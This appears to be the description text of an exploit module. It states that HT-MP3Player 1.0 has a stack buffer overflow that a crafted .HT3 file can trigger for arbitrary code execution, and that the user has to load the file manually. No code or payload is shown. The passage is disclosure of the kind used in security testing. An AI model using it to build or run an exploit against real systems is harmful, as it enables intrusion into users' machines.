  					This module exploits a stack buffer overflow in HT-MP3Player 1.0.
  					Arbitrary code execution could occur when parsing a specially crafted
  					.HT3 file.
  
  					NOTE: The player installation does not register the file type to be
  					handled. Therefore, a user must take extra steps to load this file.
